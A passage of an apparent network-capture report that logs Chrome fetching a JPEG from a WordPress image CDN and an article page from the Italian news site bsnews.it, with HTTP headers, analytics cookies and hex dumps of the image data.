04 05 03 06 01 02 07 00 08 ff c4 00 1a 01 00 03 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 e3 f3 91 3e 7a 2e Data Ascii: JFIFCCD">z.
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: d3 6d b3 f0 14 ba cf 3f 5f 69 13 9d da f5 f2 3a ad 4d 92 5d be 79 51 db 73 76 77 31 33 54 b9 15 13 10 71 70 a6 8e bb 97 4d ec aa a5 97 4c e9 35 ab d2 b7 bd 67 57 4b 5b b3 9c 3c f1 6b fd af ad 1b 33 66 09 a4 22 d0 75 2a 94 57 89 48 a2 59 66 aa ce 42 28 7a ba 36 01 5d d4 69 b4 2e 9b 23 cb d0 29 72 fb a2 dd e8 75 e1 df a8 38 12 80 72 38 7b 44 de ce 9a 67 2c 61 d5 f2 97 a9 f9 ea 5c b4 e9 02 d2 37 82 ec b4 63 b4 ce a2 27 46 f3 aa 71 ad 6a f3 5b af 69 29 a8 2d 13 dd ba 23 55 0e d2 65 6b 3d 8f 0e d4 6a a6 79 d9 86 af d9 37 8c 6b 53 05 a4 8a a4 ec b6 49 51 21 96 ac a1 9d b6 fa a9 82 5b 80 a1 de 6b 9f 50 fe 81 d3 3b f9 c6 1e e8 a0 8e 51 1f 71 94 7c 48 4f a1 5a 13 f3 56 ff 00 45 26 db 9f 8b 39 b8 e2 6d 50 ce 2b da 72 3f 40 fa b0 db 49 13 dd 85 5a 64 84 57 57 89 f9 Data Ascii: m?_i:M]yQsvw13TqpML5gWK[<k3f"u*WHYfB(z6]i.#)ru8r8{Dg,a\7c'Fqj[i)-#Uek=jy7kSIQ![kP;Qq\|HOZVE&9mP+r?@IZdWW
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 24 a6 65 0b 1d a9 3c 39 01 15 2b f3 36 ec 4d 67 e3 95 fb 5d b1 32 44 bc 8d b0 a6 94 be 66 97 f6 c7 91 8e 49 38 4c 96 fc a8 96 39 e2 32 49 85 9a a9 4e 36 cb 34 23 10 3f a6 f8 b8 fd fb bf ce 40 ce bb 1d 3e c2 a9 d8 84 2b 35 be ac 66 94 b7 c5 f8 df ac 99 40 df e4 cf 4a 37 4e 7e cb f1 f5 e6 91 e6 9a 9f 58 e1 9a cb 88 fc 92 f5 e0 65 23 95 a3 60 b8 a9 19 f1 12 3c f5 c7 f9 bc 71 ec 2c da ef c9 3c 6e 57 e5 16 9e ac 89 25 db 67 e3 11 f8 a3 f9 44 16 65 b1 0f 18 e2 22 52 a6 4d 78 4a ce e4 1b 05 72 dd 59 a4 16 2a 3d 77 a0 ed 1d 61 c9 4d b9 39 29 5d 09 de 7c 5f fd af 7f d1 91 b1 62 24 1e 36 93 ed f2 9d 03 ef b9 27 80 8b c3 46 10 14 5a 29 d8 83 d7 e4 15 bc 94 d1 7a c8 ce da a4 9d 9e c4 56 26 93 8f e1 f9 3f 24 62 53 91 4c a2 bc d6 d5 0d 9e 72 ad 73 3f 37 13 f1 bf 1d b5 Data Ascii: $e<9+6Mg]2DfI8L92IN64#?@>+5f@J7N~Xe#`<q,<nW%gDe"RMxJrY*=waM9)]\|_b$6'FZ)zV&?$bSLrs?7
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 52 1b ed 64 5d ff 00 93 62 7d 9b d9 09 93 7a 11 ab a1 b5 7a ec 88 ff 00 86 6e ae 38 dd 79 64 ba ac b3 75 e0 93 fb 14 a4 bc 32 39 b2 7d 9e ec c7 27 f6 7b 99 22 43 a9 ff 00 a3 17 4e f2 e3 e7 8f 66 5c 4e 2c 8c 7b 47 c1 5d ac be fd 56 7e 11 e2 9e c6 a5 e4 84 5b 7a 32 3b 95 09 31 27 44 63 a2 89 c9 49 0d 98 7a 9c b8 25 cb 1b a2 5e a0 b3 c3 fb 57 ec 2f b5 da f4 72 7f 86 6e ab 83 e3 13 f9 79 4c 58 bd c7 ca 44 a1 c9 8a 3c 53 68 7a f2 5a a1 cf 74 85 e2 87 1a d1 2f 16 55 8a 24 21 8e 44 75 a1 1f 1d bc 15 a1 8f 6e d9 4d e8 e9 db 8a d9 d1 e0 5d 4c f8 5d 2f b3 0f a2 63 96 a5 2d 18 7d 1b a6 53 fd 97 24 4b d3 7a 38 af ea c4 9b 7f 67 57 e8 7f d7 3c d8 55 57 95 ff 00 be 08 c5 34 62 4d bd 92 7c 98 af c2 21 0f 92 71 4a 5f a9 65 9f 1d b6 6c 7b 47 b7 6f c1 1c 76 63 87 d9 0c f1 Data Ascii: Rd]b}zzn8ydu29}'{"CNf\N,{G]V~[z2;1'DcIz%^W/rnyLXD<ShzZt/U$!DunM]L]/c-}S$Kz8gW<UW4bM\|!qJ_el{Govc
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 2e ea 2e ba b5 50 0f ba c0 c8 b2 e1 e3 88 cc a6 f0 6f 52 6e 5d 74 d3 24 3f 50 8d 46 11 38 60 26 bd ee e6 ec 99 58 de 40 28 35 b9 ca 9d 21 60 ef 9d d4 30 2e 26 91 92 0e 88 0d 5c 31 73 28 ba a3 a1 a3 f5 4d a1 b3 00 e2 e9 94 d7 39 a0 13 d8 6e b2 90 a4 4a b9 5c 33 4f 13 4e 73 92 e2 6c 2f a7 87 56 b9 f9 2c 15 a9 96 95 96 f7 1f 08 ee 89 2a 26 09 58 71 5f 55 cc a0 49 f4 40 7b a2 71 36 e6 de 17 cb c4 e6 f7 0d b2 25 ce 6c 68 25 43 1a 00 9c e5 36 95 83 88 e6 72 00 13 8b 05 d1 73 cf 2a 38 43 5b 08 8e ac 46 04 aa 54 32 c4 e8 b6 81 52 d9 f6 73 14 8b 60 8e c9 8d ab 9b 47 ba 2d 23 f0 e4 a1 cd e6 34 f1 a1 4d fc af 39 f8 41 aa d1 11 cb e4 a7 6d 1b 47 5d 43 64 f0 f7 40 1d 2d cd 71 a1 cf c2 23 d1 44 80 88 08 ce 4a 18 07 a2 21 c1 39 41 fa 4d d7 c2 6b 68 d2 b0 cc 68 98 f2 c9 Data Ascii: ..PoRn]t$?PF8`&X@(5!`0.&\1s(M9nJ\3ONsl/V,&Xq_UI@{q6%lh%C6rs8C[FT2Rs`G-#4M9AmG]Cd@-q#DJ!9AMkhh
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 80 fd d1 98 fb 2d 54 03 0a d0 7d 54 11 ec bf aa 90 e6 ef b3 9d f7 32 ac b4 f6 57 8f 64 1a fa 20 ab 6c 8d 6b bc 92 a4 b2 9f ea 88 3c 46 97 5a ce 5f 2b 68 a9 f7 0a 5b 5b 17 e7 56 a4 c3 e8 b9 b6 71 1f 90 29 14 cb 4f 80 1a 9c dd 97 68 73 43 bf 7e e9 8f a7 5e 93 8d 37 62 12 62 50 fd af 67 a2 e9 d6 93 d3 eb 37 61 aa fa 8c e7 2e 6d 4e 9f 2a a5 17 07 3c b1 c0 d4 7f 49 79 d1 39 ac f9 85 c3 20 67 0a 0e 25 cc b1 13 08 be 96 28 6c 97 08 bf aa 65 46 1e 67 09 31 90 4e 6d 1b 93 9b bb ae 4a 6f c1 94 00 9d 8b 10 ec dd 10 63 9b 84 9c be 1c f7 5d 67 2b 35 9e ef 0a f7 46 f8 54 ab b1 41 59 ee 90 55 ca 87 09 9c d5 a4 0f 5d dd 45 31 d4 ea 90 1b 98 8e a5 0e 63 7d 65 73 53 5d 04 2b 15 cc da 6e f5 0a fb 3d 2b f6 6a 73 a8 d4 ab 4d c7 f8 a7 f9 ae 3b 3f d4 5e 1f ff 00 af fb a2 e6 6d Data Ascii: -T}T2Wd lk<FZ_+h[[Vq)OhsC~^7bbPg7a.mN*<Iy9 g%(leFg1NmJoc]g+5FTAYU]E1c}esS]+n=+jsM;?^m
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: b9 93 b1 b5 43 8a 52 e4 19 32 ff 00 89 65 ef 29 43 1b 35 0e 72 b2 af 98 15 37 06 a5 94 b5 95 30 12 f0 ad 70 1c 43 bb 71 10 20 ed ec 3c c4 a5 d1 c4 51 bb 94 9b 71 e3 ec 55 7e 93 51 3d 8e 60 f9 1b b8 ac ee 38 a5 38 13 89 77 52 db 90 f8 d4 2c a9 88 33 ee 4a 96 c1 86 d8 82 da 0d b9 27 98 18 2e 0d e4 11 2e 3e 68 19 4b f1 28 8e 81 fd cb 3a 0e d8 88 98 26 cc c1 cb 74 f5 8b 97 65 02 b9 ca c6 54 86 95 fa 8c a9 77 b6 1c ce 32 a2 17 22 f9 90 a5 54 2f c4 5e af 07 91 96 90 9b 09 63 c4 0a 68 0e 2b 8d 59 b8 bf 76 66 69 2e 41 55 28 02 7d c6 a0 ba cb d1 ea 67 05 6a 62 59 64 fd cf d4 5c c2 f0 12 e0 b4 5a 9c c6 cf 15 8b 99 7b 44 ea f4 2d 63 ee 56 c0 77 0a 61 fd 0a ad 7c fd 4a 40 e5 a0 10 9b d4 4a 83 5c cb 26 53 51 f6 37 c4 64 1f 38 cf 12 e8 ba a6 1d e6 3d f0 50 b7 86 74 67 Data Ascii: CR2e)C5r70pCq <QqU~Q=`88wR,3J'..>hK(:&teTw2"T/^ch+Yvfi.AU(}gjbYd\Z{D-cVwa\|J@J\&SQ7d8=Ptg
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 94 6f 1a 6e 31 a7 8b 73 7d 12 63 ac 7a 04 60 91 53 96 88 23 98 94 e7 98 4e f6 db 73 cd cb e2 41 35 ec ba d6 66 35 07 36 80 4f a7 b8 ba b2 51 2c f3 f8 86 b3 38 ab 1f 51 3e a4 89 7c 93 e9 8c fc 20 89 bb a4 c2 87 d6 5d 50 e5 99 a2 95 a4 9c 18 74 12 83 45 d2 ca 40 be a2 54 d1 8f dc ef 4a 50 19 55 c0 b0 80 b3 99 82 0d f7 06 60 57 a4 68 a8 30 42 1b b6 fe 89 b6 da 96 8a 70 f4 7a b3 23 01 b7 4f 87 82 25 50 3c d7 95 39 0c 06 89 71 6f dd aa 6c f0 a2 d9 46 ae 6a 93 47 99 a9 ed 8b 46 80 27 90 ff 00 66 1a d0 bc 39 99 26 29 f9 23 72 d9 74 ad d1 7f ef 48 40 00 bc 5c 3e be e3 43 b2 c0 72 f2 de e6 40 5a b7 43 82 7f 67 19 ae 22 54 df c0 06 73 9d ca c2 a3 75 79 5e 0c 78 99 60 40 4a 50 c9 95 8d 7e 66 0c c1 ac a8 be 74 79 61 5e 34 15 bf ec fd 71 1f 0f 4b 8a 3c ee 53 f3 f0 99 Data Ascii: on1s}cz`S#NsA5f56OQ,8Q>\| ]PtE@TJPU`Wh0Bpz#O%P<9qolFjGF'f9&)#rtH@\>Cr@ZCg"Tsuy^x`@JP~ftya^4qK<S
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 19 b2 29 23 10 43 d2 04 6d cc 01 8a 81 73 34 a7 d3 f2 40 85 03 49 a7 f8 88 72 47 2d cb 02 a7 92 04 20 56 e5 a8 5b e7 50 2d d4 ec b7 e5 87 51 17 79 a9 5a 53 3f 98 06 72 c1 d3 80 40 82 48 06 cc 46 cb 0c 42 53 12 83 57 da 15 20 c0 f0 74 e1 c3 73 2b 0c 08 5a c5 64 02 52 26 0e 1c ca 9a 96 d0 fa 3c fd 65 b6 69 41 13 a7 8a db 7d fa 30 0b 91 41 7f 34 07 82 fc e2 25 dc 1b 3a b2 a9 70 7f b5 a8 81 70 16 db 4a 2f 1d fb 07 3f 31 00 ee 58 15 33 10 14 4a 18 e7 b4 ef 44 2b bd c0 c5 b1 2e 30 d7 53 59 59 d3 d0 f3 2a 6b 30 04 05 7d 7f d8 b6 87 66 77 dc 7b cc d0 13 4d df b7 12 e8 d8 00 4e 95 e3 0f cf c4 2d 19 31 47 4f 5a 98 84 a0 5a ec 0f ad ff 00 11 b3 18 61 76 ff 00 b7 c0 5d fb 9f b4 10 61 da b3 73 a1 0f 98 12 d6 12 84 96 0f 16 cb 52 ee 00 4c c0 3a b1 5d 91 15 a5 3d e0 08 Data Ascii: )#Cms4@IrG- V[P-QyZS?r@HFBSW ts+ZdR&<eiA}0A4%:ppJ/?1X3JD+.0SYY*k0}fw{MN-1GOZZav]asRL:]=
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 5c 68 09 e4 9c 60 80 3f 58 ce b7 ac 37 98 d9 60 de 30 e2 55 81 77 e5 03 1a 12 f1 8a 4e 05 86 a3 10 8c 3c 42 a4 fe f2 94 8b 49 be 7e 73 f9 68 07 de 6f 0e d3 62 c9 ff 00 71 6c a8 2b c1 c6 02 a0 e0 03 bf ac d0 b4 47 6e 3c 65 69 e0 44 72 e0 e7 02 0c 1e 5d b1 f7 86 23 00 08 af ac 6c 54 47 90 fb 53 ac 80 50 e0 25 5d 13 be 0c 34 ed ec 84 78 d7 7c e4 a2 df 80 aa 76 fc e1 04 6e 22 6e 76 63 d2 2b 75 14 7a ef 29 07 39 8d bd b8 a6 14 e8 0e 8b d9 e3 04 20 08 24 dd 62 45 ac 3c c9 f7 87 21 2e 2a dc 20 d1 68 fa c4 c6 5f 78 df 0b ed c2 4a 27 4e 32 8a b8 02 11 1c 29 cb 19 01 fa c5 98 2d a7 0c 27 08 a4 ef 23 b0 b6 38 cb a0 07 1a 06 06 c6 db 8a b0 45 60 11 c2 e6 e2 5a 5c a4 a3 58 77 72 a0 e4 84 5b e7 34 24 e3 6c fe b0 9c ad 0a 60 45 a2 71 34 18 41 08 4d 9c b8 61 86 bb 7b d6 Data Ascii: \h`?X7`0UwN<BI~shobql+Gn<eiDr]#lTGSP%]4x\|vn"nvc+uz)9 $bE<!.* h_xJ'N2)-'#8E`Z\Xwr[4$l`Eq4AMa{

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
166	192.168.2.4	49917	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	410	OUT	GET /bsnews.it/wp-content/uploads/2024/03/20240326_2188.jpg?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	592	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: image/jpeg Content-Length: 11397 Connection: close Last-Modified: Wed, 27 Mar 2024 17:35:25 GMT Expires: Sat, 28 Mar 2026 05:35:25 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2024/03/20240326_2188.jpg>; rel="canonical" X-Content-Type-Options: nosniff ETag: "4eac0afb20b12017" X-Bytes-Saved: 282 Vary: Accept X-nc: HIT dca 8 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:12 UTC	777	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 06 04 05 06 05 04 06 06 05 06 07 07 06 08 0a 10 0a 0a 09 09 0a 14 0e 0f 0c 10 17 14 18 18 17 14 16 16 1a 1d 25 1f 1a 1b 23 1c 16 16 20 2c 20 23 26 27 29 2a 29 19 1f 2d 30 2d 28 30 25 28 29 28 ff db 00 43 01 07 07 07 0a 08 0a 13 0a 0a 13 28 1a 16 1a 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 28 ff c2 00 11 08 00 a0 01 44 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 01 05 01 01 01 00 00 00 00 00 00 00 00 00 00 03 01 02 04 05 06 00 07 08 ff c4 00 18 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 c8 96 8d 73 a3 da 51 dc Data Ascii: JFIFC%# , #&')*)-0-(0%()(C(((((((((((((((((((((((((((((((((((((((((((((((((((D"sQ
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 4d 65 3c be 6b 36 2e 90 b7 9e 60 69 9b cb fa 15 74 63 77 77 4f a0 a1 1b 95 26 03 d5 bc a3 34 45 08 71 ab 13 d3 f1 a0 6d 17 0f b9 a5 72 e8 17 3e e3 41 d4 dd 05 e1 74 a0 e6 af 48 aa d5 14 45 0e 48 bc e8 55 e5 a5 d0 67 f4 5a cf ab 1c a6 d6 6a 62 df 06 3c 6b 53 68 8d 58 b6 b6 c3 b6 39 91 63 d5 80 e1 52 66 e8 6e 30 db be 5a 07 91 7b 27 96 5c d0 04 c3 e7 b6 f3 fa 51 f1 10 51 19 83 0a d2 07 97 0a 6a dd 75 57 6d 4e ad 56 55 c3 70 f1 11 99 22 b5 d2 b9 7b 85 9d 00 96 7a cc df 28 f4 ee f8 9f 41 69 98 80 0e 09 f9 ed 92 e4 3b 52 26 53 51 94 b9 bb 9b 29 d9 d5 6e 8b 3e e0 d9 05 16 4e 11 19 9d 3b bb b1 a4 47 25 2b 1c db 15 ed 78 75 e4 d4 77 33 ae 81 d2 19 32 24 2f 03 45 e1 8a aa 8a aa e1 8f 55 ad 0e db 35 a9 e9 8a c3 5a 55 e9 99 e8 f7 11 cc 23 2c 8b 93 d6 53 e6 ea 07 36 Data Ascii: Me<k6.`itcwwO&4Eqmr>AtHEHUgZjb<kShX9cRfn0Z{'\QQjuWmNVUp"{z(Ai;R&SQ)n>N;G%+xuw32$/EU5ZU#,S6
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: a6 a5 26 08 34 80 a1 a6 a3 a7 52 ca e7 39 ee c9 ce 0a d9 b2 51 69 3a 5d 5d 5d 5f a5 da ae d5 c1 43 d7 ce 4f a7 e7 41 d0 2d 18 5e bd 9d cb d6 dc c8 32 40 ed 55 9b ba 73 21 7c 6f d0 e3 b4 5e 07 a1 7b 77 8d 2c ee 4f d3 b8 ad 8f 6a ac 78 ff 00 47 de 91 8f 65 1b 40 4c a7 81 cd f0 7f de 81 0e 81 68 b6 ef 61 95 b8 ee 85 14 c1 e2 aa 56 b6 28 9e d9 6a ea aa f6 a5 65 6c 4e 59 0b 4b 55 0c 60 57 d3 14 fa c8 40 7d 5c ae 4c 95 a0 c3 52 ee dd f5 83 1d 65 cd 92 a8 79 0f bd 1a 87 d2 7d b3 f1 7f 50 87 40 a9 65 d9 9e 09 77 23 b9 db 88 d8 6a 0f 12 4f 09 4f 0e 72 c3 96 37 8a bb 6c aa 1b bd 18 82 24 35 17 90 da ca 81 18 7b 8b dc 10 f0 fe 8f bd 07 c8 85 de af e0 14 9f 4f c4 10 f0 a4 92 56 ca f7 18 da c7 82 b5 18 7f ec d4 bb 69 94 b2 3a 46 59 63 c4 e3 20 b4 66 8d 89 9b cc 70 3b Data Ascii: &4R9Qi:]]]_COA-^2@Us!\|o^{w,OjxGe@LhaV(jelNYKU`W@}\LRey}P@ew#jOOr7l$5{OVi:FYc fp;
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 81 bb 5b 04 75 ab 90 5b 4b 1a df a1 60 d9 39 f0 5f de 2d c7 26 05 2c b2 05 df 33 aa ad 1e 32 14 45 ce 32 4a 65 d9 20 d0 71 56 96 0f 82 d3 58 2a 58 3d 93 ff 00 0e 1d 14 e8 7b 46 7c cc f7 71 54 79 ea bb c7 75 59 1e 60 2a d9 d9 9f a5 56 c5 be 12 bb b7 78 39 57 da 0f 55 de b8 73 6a ef d9 e2 0a a5 ad 91 f1 58 d9 f9 c2 c6 ea 39 6b 55 50 d1 61 29 a2 d5 ba b9 48 53 8a 9d 11 c9 6c 81 c9 71 bc b8 e3 69 5f 0b f4 3e 63 73 79 23 71 e1 44 de 34 be d4 da 31 ba 41 a4 87 66 2e 82 2b d9 e2 3b 18 2b 4b 24 7d 9a 97 b0 80 a4 56 ff 00 b3 0f f4 82 aa c4 61 29 bb ae 69 bc ab 13 f8 82 75 90 32 40 ad da 3f 35 11 02 b0 63 92 20 e3 82 a8 14 30 8c 0a 1f 70 46 a8 53 a4 aa f0 88 99 ec 5a b4 46 6a 80 1e 45 41 b3 7f 45 ac d7 37 9d da 4d 37 59 d9 fc ce 84 08 f8 54 af b3 b9 a7 59 a2 15 9b Data Ascii: [u[K`9_-&,32E2Je qVXX={F\|qTyuY`Vx9WUsjX9kUPa)HSlqi_>csy#qD41Af.+;+K$}Va)iu2@?5c 0pFSZFjEAE7M7YTY
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 95 c9 5e 59 62 37 02 a4 e5 4e 26 e8 7d bd 1b 5a 40 c4 86 ef 27 bc 43 fb 55 ee b2 cd 6c e5 94 fb 56 98 ff 00 1e 8d fa 03 ac cf 33 20 07 a3 e8 e1 ca 5e e1 9f 35 09 fd 4a cf 99 66 a8 ee c1 b5 f0 0f c4 49 c9 77 12 fd 29 0b ff 00 66 c9 dd 49 bb 4a d8 60 c8 af 31 81 71 85 9a 87 a4 15 86 62 2b 16 a3 f6 a0 dc 30 1b cf 38 fe a0 1d 4e c5 f3 01 b8 f1 7f 64 56 9f cf f0 45 6a 27 77 3c 47 d9 f0 c1 73 f4 7a 88 39 2e ec 73 3d cf ea e1 5d 13 7d 1f 89 59 56 f9 ff 00 68 d8 00 a4 d3 eb fd 6a 24 ea 3a 94 f2 8e e1 f2 89 b0 c7 9a bf b0 8f 5b 4a b2 8d 7c 2c c1 89 54 6c eb ad 9d 91 2b 53 5e 17 86 60 97 ca 55 77 89 6c b6 5a 5b d3 d9 2c e2 15 00 81 7d 39 82 3e 8b 9a 26 4a dc a5 37 8b ab 89 81 08 e9 2f 59 ea 5c 6b dd 4e 61 51 b5 fa 7f 46 59 af dc 71 3a 1e c3 05 6d f7 ff 00 72 cd 3c Data Ascii: ^Yb7N&}Z@'CUlV3 ^5JfIw)fIJ`1qb+08NdVEj'w<Gsz9.s=]}YVhj$:[J\|,Tl+S^`UwlZ[,}9>&J7/Y\kNaQFYq:mr<
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: b5 c7 4a 95 e8 d5 39 f4 63 b7 d1 f7 b5 c0 8a 01 c4 d7 1d c9 94 61 8a e6 81 9b 2f ee 6a 00 40 94 0e 58 d5 0a 98 75 5c 40 28 2f 32 cc 85 73 00 0d 6a a2 ea 68 7e 71 26 b4 69 65 3e 63 38 7a 68 fc 05 86 00 df 40 7a 35 0e 0e cb 3a ce 88 63 b6 8f de 26 e8 7a 54 49 bf a5 bb 2a 62 33 3c 21 0c 3d 8a 82 37 fe 03 1d a4 70 45 f4 6a 67 3e 87 28 bb e4 e4 de 15 0a 35 97 53 7d 63 f7 22 39 d8 5c e3 64 b3 f2 09 76 2f 5e 12 f8 2b ba 16 82 34 e4 da fc f6 98 7e 0e 7d 9c 3f 0f ea 5c 3a 31 fb 3f 6e 66 50 ec 66 96 ea a9 65 1f 91 70 46 91 88 5a 2d 4d 2f f0 3e af 76 6d 30 92 0a 5f 4c 7c c2 3f c4 57 8f 1b 4d 0f 56 a6 73 08 40 85 4c 1c 2c 30 ae 19 dc c1 0a fb 4d 6b 66 bc e2 a1 8e 82 d4 7e e5 c0 64 0b 35 33 ad 07 1a 2b 5b f6 f3 32 e5 e3 06 5f 2d fa 32 a9 c3 7b dc f7 3c ff 00 c2 09 cf Data Ascii: J9ca/j@Xu\@(/2sjh~q&ie>c8zh@z5:c&zTI*b3<!=7pEjg>(5S}c"9\dv/^+4~}?\:1?nfPfepFZ-M/>vm0_L\|?WMVs@L,0Mkf~d53+[2_-2{<
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: c7 52 a5 70 65 5f f9 34 03 20 80 26 70 36 77 86 97 7b 2e 5f ad 89 05 8c d2 ee 4d 01 70 0c 71 d7 ac 25 57 5a 87 bc ad 0e 4e c4 11 5a 04 6d d6 5b 8a d0 2a 85 ef cc 01 88 c3 65 a7 8d fc 4b ef 21 29 af 91 96 04 cc c5 6f 03 17 ab d5 16 01 b7 40 ac c1 bb 13 65 53 5a d4 4d f2 42 12 c7 78 b4 4b cb e6 3f c0 6c 97 51 b2 c5 b2 2f c2 6b 60 ba 75 81 99 ab 2c d9 53 bc 02 f8 4c 40 0b d5 ea c1 45 65 d9 88 2c 3e 6d 01 d6 1c 40 d3 94 f9 2c fa 9a 43 b0 bf cd 4a 36 e3 26 5f 69 52 a7 43 53 35 10 ac 83 b4 61 46 1b b2 8c bc 03 ca 02 cd 60 d0 6d 57 6d 17 8c 4c 25 72 d1 b0 5f 58 c5 e6 5b c9 74 0e f1 36 99 65 81 b5 5c fe a5 3c a0 be a5 10 00 80 07 42 51 a0 cd 49 7c 6f c6 91 09 5d 46 53 40 49 f3 13 0c 9c ca b0 8d 0c 7c 21 ad 43 6b 02 a5 2a cb d6 9d 2f 58 1c cf 32 22 aa 5e 63 24 59 Data Ascii: Rpe_4 &p6w{._Mpq%WZNZm[eK!)o@eSZMBxK?lQ/k`u,SL@Ee,>m@,CJ6&_iRCS5aF`mWmL%r_X[t6e\<BQI\|o]FS@I\|!Ck/X2"^c$Y
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: e2 3e 80 65 85 67 f3 c1 2f d0 b9 ff 00 ac 5c 5c 05 bb 23 ed d8 9a 95 10 9a 52 cf 37 35 45 02 d6 7b c7 d4 4b ad 97 d0 1c 5f cc 0b 90 9a 8d 1d 30 d4 8d 90 ab 53 43 d1 81 59 16 a2 be 56 df cc 01 56 5d 52 be f3 a1 5a db 67 88 08 4c 41 3e 01 c5 9b 3e 52 79 fc 2b 11 b7 46 ba 0f f8 20 d6 05 b5 81 47 18 98 82 27 fd 0c 5e 9d 1d 0f fb 73 20 55 bf 31 80 46 72 41 2a 51 31 41 01 61 35 6a 18 80 ef 25 04 5d 8b 49 a8 c6 c7 72 6a c3 07 5a fc ce a4 ef 40 31 69 28 de fb 92 8a 50 97 6b 7f ce f0 35 89 dc 65 99 f6 87 d9 2c be 8f fd 8a d4 1e 8d ce 44 79 22 5e b3 25 15 b0 90 5d b8 ac 56 65 4a bb 40 07 00 5a e8 21 c6 ad 4f 29 54 ef 35 1f 8e 62 71 9b 23 03 30 04 e6 d3 e4 46 79 86 a1 44 4c 29 67 35 0c be 8f ab 45 7e 56 15 c9 10 6b 6e b2 98 2c 7a ad ca b8 bd e2 ba ae be 20 a2 fc db Data Ascii: >eg/\\#R75E{K_0SCYVV]RZgLA>>Ry+F G'^s U1FrA*Q1Aa5j%]IrjZ@1i(Pk5e,Dy"^%]VeJ@Z!O)T5bq#0FyDL)g5E~Vkn,z
2024-03-28 08:51:12 UTC	1037	IN	Data Raw: d8 fe e2 1d 9d d8 98 a9 a0 c9 fa 82 af 4e 96 e7 cb 88 02 d3 5c eb 2b d6 5f e0 d2 5e 22 32 44 0b 15 c7 4f fd 82 db d0 43 48 71 35 bd a2 61 74 87 08 b6 b8 4e 00 af 57 1a f7 21 7a ed 4f ed 22 8b 8b 16 9c 97 f4 ff 00 b0 ea cb 26 aa 2e f4 51 34 cc 77 44 90 2d 52 fd 21 07 67 36 ab 01 66 75 18 d4 30 c2 9d 4f ef 48 0d ff 00 02 44 fc 32 45 29 80 0c e8 74 1e 34 9b 0b 9f 63 a0 a3 db 0c 67 f2 6a 57 61 57 00 05 18 6d 45 90 a7 26 12 6a 7a 4c a6 b8 d6 64 85 3b 93 dc 43 a5 2b 12 e4 cb 2e ec e9 fb 81 5d 24 55 55 6f e8 26 5a d0 e1 42 69 2a 8c e9 06 3d 2b dd 6d 97 06 5c da 04 36 95 19 cf ee 59 23 4b ba 96 0d 3f 07 4b 1b 47 38 71 34 91 68 9a 4b 44 c5 b4 ed 60 79 82 29 94 00 03 c4 58 56 2b 79 45 e9 a1 c9 0d 55 c8 d2 38 31 79 cb c2 e0 a8 cb 00 d3 ba ed 73 4a f2 0d f7 3e 63 37 Data Ascii: N\+_^"2DOCHq5atNW!zO"&.Q4wD-R!g6fu0OHD2E)t4cgjWaWmE&jzLd;C+.]$UUo&ZBi*=+m\6Y#K?KG8q4hKD`y)XV+yEU81ysJ>c7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
167	192.168.2.4	49922	104.21.27.89	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	777	OUT	GET /2015/01/23/le-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica/?relatedposts=1 HTTP/1.1 Host: bsnews.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _gcl_au=1.1.1773882818.1711615867; _ga=GA1.2.30849489.1711615863; _gid=GA1.2.323934972.1711615869; _gat_gtag_UA_11020879_7=1; cf_clearance=t9gExq.VTCgxStpdlhTVwJUo6EadbupAw55Sro013BQ-1711615870-1.0.1.1-pV_vKXAJuAO9zgXoYY73izX8Nm6CZI3He7cZADEvrBUEtjfnXTap.xx4DthdIgWLxd_rEhXZwUqylrJKmFbRxA
